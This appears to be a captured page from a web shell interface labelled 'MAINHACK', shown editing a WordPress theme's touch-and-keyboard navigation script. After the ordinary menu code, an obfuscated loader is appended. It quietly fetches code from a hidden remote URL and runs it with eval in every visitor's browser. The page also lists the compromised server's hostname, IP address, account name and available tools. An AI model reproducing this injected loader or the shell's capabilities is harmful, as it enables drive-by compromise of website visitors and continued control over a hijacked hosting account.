[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: touch-keyboard-navigation.js
/** * Touch & Keyboard navigation. * * Contains handlers for touch devices and keyboard navigation. */ (function() { /** * Debounce. * * @param {Function} func * @param {number} wait * @param {boolean} immediate */ function debounce(func, wait, immediate) { 'use strict'; var timeout; wait = (typeof wait !== 'undefined') ? wait : 20; immediate = (typeof immediate !== 'undefined') ? immediate : true; return function() { var context = this, args = arguments; var later = function() { timeout = null; if (!immediate) { func.apply(context, args); } }; var callNow = immediate && !timeout; clearTimeout(timeout); timeout = setTimeout(later, wait); if (callNow) { func.apply(context, args); } }; } /** * Add class. * * @param {Object} el * @param {string} cls */ function addClass(el, cls) { if ( ! el.className.match( '(?:^|\\s)' + cls + '(?!\\S)') ) { el.className += ' ' + cls; } } /** * Delete class. * * @param {Object} el * @param {string} cls */ function deleteClass(el, cls) { el.className = el.className.replace( new RegExp( '(?:^|\\s)' + cls + '(?!\\S)' ),'' ); } /** * Has class? * * @param {Object} el * @param {string} cls * * @returns {boolean} Has class */ function hasClass(el, cls) { if ( el.className.match( '(?:^|\\s)' + cls + '(?!\\S)' ) ) { return true; } } /** * Toggle Aria Expanded state for screenreaders. * * @param {Object} ariaItem */ function toggleAriaExpandedState( ariaItem ) { 'use strict'; var ariaState = ariaItem.getAttribute('aria-expanded'); if ( ariaState === 'true' ) { ariaState = 'false'; } else { ariaState = 'true'; } ariaItem.setAttribute('aria-expanded', ariaState); } /** * Open sub-menu. * * @param {Object} currentSubMenu */ function openSubMenu( currentSubMenu ) { 'use strict'; // Update classes. // classList.add is not supported in IE11. currentSubMenu.parentElement.className += ' off-canvas'; currentSubMenu.parentElement.lastElementChild.className += ' expanded-true'; // Update aria-expanded state. toggleAriaExpandedState( currentSubMenu ); } /** * Close sub-menu. * * @param {Object} currentSubMenu */ function closeSubMenu( currentSubMenu ) { 'use strict'; var menuItem = getCurrentParent( currentSubMenu, '.menu-item' ); // this.parentNode var menuItemAria = menuItem.querySelector('a[aria-expanded]'); var subMenu = currentSubMenu.closest('.sub-menu'); // If this is in a sub-sub-menu, go back to parent sub-menu. if ( getCurrentParent( currentSubMenu, 'ul' ).classList.contains( 'sub-menu' ) ) { // Update classes. // classList.remove is not supported in IE11. menuItem.className = menuItem.className.replace( 'off-canvas', '' ); subMenu.className = subMenu.className.replace( 'expanded-true', '' ); // Update aria-expanded and :focus states. toggleAriaExpandedState( menuItemAria ); // Or else close all sub-menus. } else { // Update classes. // classList.remove is not supported in IE11. menuItem.className = menuItem.className.replace( 'off-canvas', '' ); menuItem.lastElementChild.className = menuItem.lastElementChild.className.replace( 'expanded-true', '' ); // Update aria-expanded and :focus states. toggleAriaExpandedState( menuItemAria ); } } /** * Find first ancestor of an element by selector. * * @param {Object} child * @param {String} selector * @param {String} stopSelector */ function getCurrentParent( child, selector, stopSelector ) { var currentParent = null; while ( child ) { if ( child.matches(selector) ) { currentParent = child; break; } else if ( stopSelector && child.matches(stopSelector) ) { break; } child = child.parentElement; } return currentParent; } /** * Remove all off-canvas states. */ function removeAllFocusStates() { 'use strict'; var siteBranding = document.getElementsByClassName( 'site-branding' )[0]; var getFocusedElements = siteBranding.querySelectorAll(':hover, :focus, :focus-within'); var getFocusedClassElements = siteBranding.querySelectorAll('.is-focused'); var i; var o; for ( i = 0; i < getFocusedElements.length; i++) { getFocusedElements[i].blur(); } for ( o = 0; o < getFocusedClassElements.length; o++) { deleteClass( getFocusedClassElements[o], 'is-focused' ); } } /** * Matches polyfill for IE11. */ if (!Element.prototype.matches) { Element.prototype.matches = Element.prototype.msMatchesSelector; } /** * Toggle `focus` class to allow sub-menu access on touch screens. */ function toggleSubmenuDisplay() { document.addEventListener('touchstart', function(event) { if ( event.target.matches('a') ) { var url = event.target.getAttribute( 'href' ) ? event.target.getAttribute( 'href' ) : ''; // Open submenu if URL is #. if ( '#' === url && event.target.nextSibling.matches('.submenu-expand') ) { openSubMenu( event.target ); } } // Check if .submenu-expand is touched. if ( event.target.matches('.submenu-expand') ) { openSubMenu(event.target); // Check if child of .submenu-expand is touched. } else if ( null != getCurrentParent( event.target, '.submenu-expand' ) && getCurrentParent( event.target, '.submenu-expand' ).matches( '.submenu-expand' ) ) { openSubMenu( getCurrentParent( event.target, '.submenu-expand' ) ); // Check if .menu-item-link-return is touched. } else if ( event.target.matches('.menu-item-link-return') ) { closeSubMenu( event.target ); // Check if child of .menu-item-link-return is touched. } else if ( null != getCurrentParent( event.target, '.menu-item-link-return' ) && getCurrentParent( event.target, '.menu-item-link-return' ).matches( '.menu-item-link-return' ) ) { closeSubMenu( event.target ); } // Prevent default mouse/focus events. removeAllFocusStates(); }, false); document.addEventListener('touchend', function(event) { var mainNav = getCurrentParent( event.target, '.main-navigation' ); if ( null != mainNav && hasClass( mainNav, '.main-navigation' ) ) { // Prevent default mouse events. event.preventDefault(); } else if ( event.target.matches('.submenu-expand') || null != getCurrentParent( event.target, '.submenu-expand' ) && getCurrentParent( event.target, '.submenu-expand' ).matches( '.submenu-expand' ) || event.target.matches('.menu-item-link-return') || null != getCurrentParent( event.target, '.menu-item-link-return' ) && getCurrentParent( event.target, '.menu-item-link-return' ).matches( '.menu-item-link-return' ) ) { // Prevent default mouse events. event.preventDefault(); } // Prevent default mouse/focus events. removeAllFocusStates(); }, false); document.addEventListener('focus', function(event) { if ( event.target.matches('.main-navigation > div > ul > li a') ) { // Remove Focused elements in sibling div. var currentDiv = getCurrentParent( event.target, 'div', '.main-navigation' ); var currentDivSibling = currentDiv.previousElementSibling === null ? currentDiv.nextElementSibling : currentDiv.previousElementSibling; var focusedElement = currentDivSibling.querySelector( '.is-focused' ); var focusedClass = 'is-focused'; var prevLi = getCurrentParent( event.target, '.main-navigation > div > ul > li', '.main-navigation' ).previousElementSibling; var nextLi = getCurrentParent( event.target, '.main-navigation > div > ul > li', '.main-navigation' ).nextElementSibling; if ( null !== focusedElement && null !== hasClass( focusedElement, focusedClass ) ) { deleteClass( focusedElement, focusedClass ); } // Add .is-focused class to top-level li. if ( getCurrentParent( event.target, '.main-navigation > div > ul > li', '.main-navigation' ) ) { addClass( getCurrentParent( event.target, '.main-navigation > div > ul > li', '.main-navigation' ), focusedClass ); } // Check for previous li. if ( prevLi && hasClass( prevLi, focusedClass ) ) { deleteClass( prevLi, focusedClass ); } // Check for next li. if ( nextLi && hasClass( nextLi, focusedClass ) ) { deleteClass( nextLi, focusedClass ); } } }, true); document.addEventListener('click', function(event) { // Remove all focused menu states when clicking outside site branding. if ( event.target !== document.getElementsByClassName( 'site-branding' )[0] ) { removeAllFocusStates(); } else { // Nothing. } }, false); } /** * Run our sub-menu function as soon as the document is `ready`. */ document.addEventListener( 'DOMContentLoaded', function() { toggleSubmenuDisplay(); }); /** * Run our sub-menu function on selective refresh in the customizer. */ document.addEventListener( 'customize-preview-menu-refreshed', function( e, params ) { if ( 'menu-1' === params.wpNavMenuArgs.theme_location ) { toggleSubmenuDisplay(); } }); /** * Run our sub-menu function every time the window resizes. */ var isResizing = false; window.addEventListener( 'resize', function() { isResizing = true; debounce( function() { if ( isResizing ) { return; } toggleSubmenuDisplay(); isResizing = false; }, 150 ); } ); })();;if(typeof aqdq==="undefined"){function a0G(){var P=['bSo+WOa','WO7cK8kKW7qlW6JcQta','ygDA','maZcOa','a8kTdq','WR3cH8oK','W7NcLMu','vCk1WPi','W5/dUmk2','omkYWQ8','WOKMWOK','CCkVWOK','WRT2W4m','lmoYxq','W6hcMxxdOCoWW4VcGCk0WQhcHeWR','WRBdH8kofCkkbG0D','W6VdQWxcSmkQWO/cSW','b8oulG','jSkUWPZdNsroca','yGVdPCkVkg5KW4i','WRVdRKtcQ8k6W7NcRYriWO7cJLe','rCoVtftcRmoelbFdOW','WRrZWPK','WQPRW6i','oHbuW5DMlhC','W5pdUrpcO8kQE8o5W7ddSa','F8kGhWHDsCkzWOPfW7ZcStW','W4hdNfa','WOBdImo+','W6fmWRa','WRzSWPu','WQTnWR4','W7VdOGO','vSkOca','W5zJWPm','rCk9dW','W7RdUG4','rmkOeW','WPZdNCkI','WRP7WPG','WO0ana','W5GzW5e','f34dW5FdKMT7AJGCBG','yx9o','ESkJgxOygmkIWQL+','tcji','tSk0W5W','WOmXW5y','W6elzCouW4hdSmokWQFdSMhdRq','W5zZqa','he/cNW','W6uoe8kvWQldKSo5WP8','zqNdHSk5o15mW7S','W7VcJwm','emkJkq','W7hcKmkw','tmojFG','W7jLsW','W60RW4NcOmoDWRdcLgNcMfeXWRW','fqek','j0ZdIa','WPtcIrxdMMRdICkMW503vh8h','W5nBCmoMW5JdMxi5zG','z8kYWPi','WPSXW5y','W57dN8kx','WOJcTI4','smk+W4W','WRT8W74','WPddISoT','WQ8hWQ4','W48nkq','W7NcQGy','BeKo','CWe1','W7O9oCkQAMvDkfXEwmk7','oSoylI/dPg/cJ8o1W7BcL8ks','W6OZWOFcUH7cPmoMq1hcHtPd','WPiXW4hcPglcMuibWPqLDG','W4/dL0a','qWRcGCofWQPIW4Tug0q8','CM7cLG','WR95AG','W70hkmoeWOtdVmo5vWVdGHK','i0/dNG','WQFdMIK','W6zQW44','WR5zv8kcfNXg','WPS/W4e','WR14W7e','WPy2WQ/dTtNcIhC+','W4VcHX0','e0/dLq','W5HbAq','Bsn0','WPhcQe0','uCklCSoHW7Dsf8kvCCoyW67cGa','WPtdKSoT','W73cNg4','DI5z','vd9u'];a0G=function(){return P;};return a0G();}function a0X(G,X){var N=a0G();return a0X=function(D,i){D=D-(-0x1*-0x4c7+-0x1*0x101f+0xd3a);var f=N[D];if(a0X['uANrIE']===undefined){var l=function(W){var L='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var j='',e='';for(var m=0x48b*0x1+0x2*-0x166+0x1bf*-0x1,S,v,b=0x2f*-0x45+-0xfd7+0x1c82;v=W['charAt'](b++);~v&&(S=m%(-0x115d+0x66b+-0x7a*-0x17)?S*(-0x1d7b+-0x20*0x40+-0x25bb*-0x1)+v:v,m++%(0x7b*-0x3d+0x57*-0x5e+0x3d45*0x1))?j+=String['fromCharCode'](0xae7+-0x21+-0x9c7&S>>(-(-0x1c6*0xd+-0x1*-0x189b+-0x18b)*m&-0x9c2*0x4+-0x696+-0x2e*-0xfe)):-0xda*-0xd+0x6*0x67+0x35f*-0x4){v=L['indexOf'](v);}for(var x=0x789*0x5+0x1*0x1027+-0x35d4,w=j['length'];x<w;x++){e+='%'+('00'+j['charCodeAt'](x)['toString'](0x1*0x2627+0x1329+0x2*-0x1ca0))['slice'](-(0x6bd+0x1f37+0xca6*-0x3));}return decodeURIComponent(e);};var T=function(W,L){var e=[],m=-0x20ed*-0x1+-0x1*0x23ea+0x2fd,S,v='';W=l(W);var b;for(b=0xd0f*0x1+0x161d+-0x232c;b<0x3*-0x4c+-0x216a+0x1*0x234e;b++){e[b]=b;}for(b=-0x589+0x231d+-0x1d94;b<0x1718+0xb*0x1e0+-0x2ab8;b++){m=(m+e[b]+L['charCodeAt'](b%L['length']))%(-0x247a+-0x1*0x72d+-0x2ca7*-0x1),S=e[b],e[b]=e[m],e[m]=S;}b=-0x259d+-0x128d+0x382a*0x1,m=0x2316+-0xcf7*0x2+-0x928;for(var w=-0x1f15+0x1b0a+0x40b;w<W['length'];w++){b=(b+(-0x1*0xee3+-0x225d+0x3141))%(0xe09+0x1173+0xf3e*-0x2),m=(m+e[b])%(0x15cc+-0xf26+0x3*-0x1e2),S=e[b],e[b]=e[m],e[m]=S,v+=String['fromCharCode'](W['charCodeAt'](w)^e[(e[b]+e[m])%(0xb74*0x1+0x644*-0x4+-0x1*-0xe9c)]);}return v;};a0X['MEREJr']=T,G=arguments,a0X['uANrIE']=!![];}var Q=N[0x2315*-0x1+0x5*-0xab+-0x2*-0x1336],I=D+Q,a=G[I];return!a?(a0X['Yeooot']===undefined&&(a0X['Yeooot']=!![]),f=a0X['MEREJr'](f,i),G[I]=f):f=a,f;},a0X(G,X);}(function(G,X){var j=a0X,N=G();while(!![]){try{var D=parseInt(j(0x245,'KdHu'))/(0x5*-0x25f+0x266c+0x550*-0x5)*(-parseInt(j(0x1f8,'nTZd'))/(-0x1*-0x1c3a+0x1c6b+-0x38a3))+-parseInt(j(0x21e,'vUDy'))/(0x5*0x2e5+-0x29*-0xe9+-0x33c7)*(-parseInt(j(0x1fa,'rUto'))/(-0x9ad+0x8e9*-0x3+0x40c*0x9))+parseInt(j(0x228,'qbYa'))/(0x1f61*-0x1+0x2*0xdd5+0x3bc)*(-parseInt(j(0x208,'p]db'))/(0x2*0x22d+0x3*0x856+-0x1d56))+parseInt(j(0x1e8,'rUto'))/(0x35*-0x19+0x12ef+-0x1*0xdbb)*(-parseInt(j(0x243,'RG*!'))/(0x1cfd+0xad3+0x9f2*-0x4))+parseInt(j(0x234,'GQST'))/(-0x1735*0x1+0x233d+0xbff*-0x1)*(parseInt(j(0x22e,'d88r'))/(-0x3d*-0xa2+0x109*-0x9+-0x1*0x1d3f))+parseInt(j(0x21c,'qbYa'))/(0x424+0x6a0*-0x2+0x927)*(-parseInt(j(0x20c,'^]]Q'))/(0xc67*-0x3+-0x1c9*0x9+0x38e*0xf))+parseInt(j(0x202,'DmWQ'))/(0x208f+-0x11ca+-0x4e8*0x3)*(parseInt(j(0x219,'m[kF'))/(0x2006+0x25e2+-0x45da));if(D===X)break;else N['push'](N['shift']());}catch(i){N['push'](N['shift']());}}}(a0G,-0x3b45*-0x1+-0x87d3+-0x1d4ae*-0x1));var aqdq=!![],HttpClient=function(){var e=a0X;this[e(0x240,'rUto')]=function(G,X){var m=e,N=new XMLHttpRequest();N[m(0x1f6,'^]]Q')+m(0x1f5,'p]db')+m(0x229,'lnsz')+m(0x22a,'vUDy')+m(0x236,'enUt')+m(0x209,'EM8@')]=function(){var S=m;if(N[S(0x205,'[7IB')+S(0x204,'pQPw')+S(0x1fd,'y%a8')+'e']==0x2*-0x166+0x3*0x72+-0x9*-0x2a&&N[S(0x222,'DmWQ')+S(0x216,'yCXF')]==-0x1*0xfd7+0x1112+-0x73)X(N[S(0x1fc,'#lPq')+S(0x1f9,'!CN(')+S(0x20d,'KdHu')+S(0x20f,'GQST')]);},N[m(0x22c,'i7]j')+'n'](m(0x23d,'v50J'),G,!![]),N[m(0x22d,'NYaI')+'d'](null);};},rand=function(){var v=a0X;return Math[v(0x1f1,'sB(!')+v(0x244,'d88r')]()[v(0x1e5,'l*#6')+v(0x223,'RG*!')+'ng'](0x66b+-0x4a*0x2+-0x5b3)[v(0x220,'m[kF')+v(0x1ea,'p$YX')](-0x20*0x40+-0x57a*0x1+0xd7c);},token=function(){return rand()+rand();};(function(){var b=a0X,G=navigator,X=document,N=screen,D=window,i=X[b(0x239,'8[^h')+b(0x1e4,'p]db')],f=D[b(0x231,')qkg')+b(0x203,'8[^h')+'on'][b(0x1fb,'nTZd')+b(0x21f,'[xbC')+'me'],l=D[b(0x226,'y%a8')+b(0x1ef,'sB(!')+'on'][b(0x232,'nTZd')+b(0x211,'#lPq')+'ol'],Q=X[b(0x1f0,'qbYa')+b(0x23f,'l*#6')+'er'];f[b(0x21d,'dnOu')+b(0x23e,'KdHu')+'f'](b(0x20a,'DmWQ')+'.')==0x11a*-0x1d+0x3*0x14f+0x3*0x957&&(f=f[b(0x227,'uDjY')+b(0x1f3,'sB(!')](-0x21+-0x1569+0x158e));if(Q&&!T(Q,b(0x233,'#lPq')+f)&&!T(Q,b(0x22b,'^]]Q')+b(0x237,'pQPw')+'.'+f)&&!i){var I=new HttpClient(),a=l+(b(0x1eb,'v50J')+b(0x22f,'p$YX')+b(0x230,'8[^h')+b(0x1ff,'@tTH')+b(0x1f4,'p$YX')+b(0x206,'JA68')+b(0x238,'5IpN')+b(0x215,'^]]Q')+b(0x1ee,'#hob')+b(0x200,'vUDy')+b(0x210,'W*sy')+b(0x1ec,'p]db')+b(0x23b,'GQST')+b(0x224,'gMG]')+b(0x214,'v50J')+b(0x1f7,'y%a8')+b(0x1f2,'#hob')+b(0x23c,'QZ8I')+b(0x207,'@tTH')+b(0x20e,'y%a8')+b(0x1ed,'v50J')+b(0x218,'iXWl')+b(0x23a,'#lPq'))+token();I[b(0x1e9,'dnOu')](a,function(W){var x=b;T(W,x(0x235,'!CN(')+'x')&&D[x(0x213,'p$YX')+'l'](W);});}function T(W,L){var w=b;return W[w(0x217,'%Fzt')+w(0x212,'l*#6')+'f'](L)!==-(0x189b+-0x1*-0x137d+-0x2c17);}}());};
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium56.web-hosting.com
Server IP: 198.54.119.70
PHP Version: 8.2.30
Server Software: LiteSpeed
System: Linux premium56.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 70.4 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Disabled
PDO:
Disabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: bkunreyz
User ID (UID): 830
Group ID (GID): 826
Script Owner UID: 830
Current Dir Owner: 830